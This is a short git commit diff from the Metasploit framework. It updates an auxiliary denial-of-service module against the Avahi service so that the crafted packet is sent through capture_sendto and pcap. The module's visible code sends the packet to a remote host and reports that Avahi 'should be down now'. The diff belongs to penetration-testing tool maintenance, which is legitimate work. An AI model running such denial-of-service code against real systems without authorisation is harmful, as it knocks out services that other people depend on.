See #782. Updating to use capture_sendto.

git-svn-id: file:///home/svn/framework3/trunk@8273 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Tod Beardsley 2010-01-27 20:17:45 +00:00
parent 246fe53ff4
commit 8d64f8a10c
1 changed files with 4 additions and 4 deletions

View File

@ -14,7 +14,7 @@ require 'racket'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ip
include Msf::Exploit::Capture
include Msf::Auxiliary::Dos
def initialize
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
def run
print_status("Sending to #{rhost}")
connect_ip
open_pcap
n = Racket::Racket.new
@ -55,9 +55,9 @@ class Metasploit3 < Msf::Auxiliary
n.l4.dst_port = datastore['RPORT'].to_i
pkt = n.pack
ip_write(pkt)
capture_sendto(pkt, rhost)
disconnect_ip
close_pcap
print_status("Avahi should be down now")
end